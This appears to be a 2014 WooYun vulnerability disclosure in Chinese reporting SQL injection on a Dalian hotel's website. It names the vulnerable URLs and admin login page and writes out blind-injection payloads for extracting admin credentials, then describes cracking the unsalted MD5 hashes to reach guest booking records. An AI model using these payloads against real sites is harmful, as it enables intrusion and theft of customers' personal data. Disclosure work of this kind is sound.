漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-050494
漏洞标题:大连某酒店网站SQL注入漏洞可导致用户订房信息泄漏
相关厂商:大连国尊王朝大酒店
漏洞作者: sdc1992
提交时间:2014-02-09 10:46
修复时间:2014-03-26 10:47
公开时间:2014-03-26 10:47
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-02-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-26: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
大连某酒店网站漏洞,可通过在SQL注入取得管理员帐号和密码。登陆后台后可直接看到客户订房,应聘人资料等敏感信息。此外,还可直接对用户权限和网站内容等进行操作!
详细说明:
手动注入的。
注入地点:
http://www.gzdynasty.com/content.asp?id=21 (这里)
http://www.gzdynasty.com/New_list.asp?id=156 (还有这里)等。
后台登陆地址:
http://www.gzdynasty.com/manage/login.asp
数据库中的密码虽然是hash后存储的,但hash算法为MD5,目前网上有很多MD5的破解网站可对MD5的加密信息进行“逆运算”,因此很容易就可以获得密码的明文。
登陆后台后可直接看到客户订房,应聘人资料等敏感信息。此外,还可直接对用户权限和网站内容等进行操作!
注入的SQL内容:
判断是否存在帐号字段:
and (Select Count(帐号字段) from Admin)>=0
判断是否存在密码字段:
and (Select Count(密码字段) from Admin)>=0
判断Admin表中第一条记录的帐号字段长度:
and (select top 1 len(帐号字段) from Admin)>=0
and (select top 1 len(帐号字段) from Admin)>=1
……
手工破解管理员帐号
and (select top 1 asc(mid(帐号字段,1,1)) from Admin)>=97
and (select top 1 asc(mid(帐号字段,2,1)) from Admin)>=100
……
判断Admin表中第一条记录的密码字段长度:
and (select top 1 len(密码字段) from Admin where 帐号字段 = "破解出的帐号字段的值")>=0
and (select top 1 len(密码字段) from Admin where 帐号字段 = "破解出的帐号字段的值")>=1
……
手工破解管理员密码
and (select top 1 asc(mid(密码字段,1,1)) from Admin where 帐号字段 = "破解出的帐号字段的值")>=52
and (select top 1 asc(mid(密码字段,2,1)) from Admin where 帐号字段 = "破解出的帐号字段的值")>=52
……
附图:
尝试看User表是否存在(不存在):
尝试看Admin表是否存在(存在):
获得管理员帐号密码后可登陆到后台:
可看到客户订房信息等:
可添加修改管理员权限:
可修改网站内容(如新闻、网站资料等):
漏洞证明:
参数为过滤;
密码加密存储未加盐,且所使用的MD5算法已落后(王小云,国人的骄傲啊!)。
修复方案:
1、参数过滤
2、密码加盐加密储存
具体细节请找贵酒店技术支持单位(大连弘远文化传播有限公司)解决
版权声明:转载请注明来源 sdc1992@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝